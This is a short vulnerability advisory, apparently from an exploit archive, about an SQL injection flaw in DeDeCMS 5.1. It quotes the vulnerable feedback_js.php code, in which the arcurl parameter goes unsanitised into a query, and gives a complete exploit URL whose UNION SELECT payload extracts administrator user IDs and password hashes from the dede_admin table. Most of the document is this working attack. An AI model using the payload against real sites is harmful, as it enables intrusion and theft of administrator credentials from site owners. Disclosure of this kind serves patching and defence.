DeDeCMS 5.1 - SQL Injection

######################### Securitylab.ir ########################
# Application Info:
# Name: DEDECMS
# Version: 5.1
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Sql Injection Vulnerability
# Risk: Medium
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# feedback_js.php
$urlindex = 0;
if(empty($arcID))
{
$row = $dlist->dsql->GetOne("Select id From `#@__cache_feedbackurl` where url='$arcurl' ");
 if(is_array($row)) $urlindex = $row['id'];
}
if(empty($arcID) && empty($urlindex)) exit();
......
if(empty($arcID)) $wq = " urlindex = '$urlindex' ";
else $wq = " aid='$arcID' ";
 $querystring = "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc";
$dlist->Init();
$dlist->SetSource($querystring);
...
# http://site.com/[PATH]/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''=
#===========================================================
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# Securitylab Security Research Team
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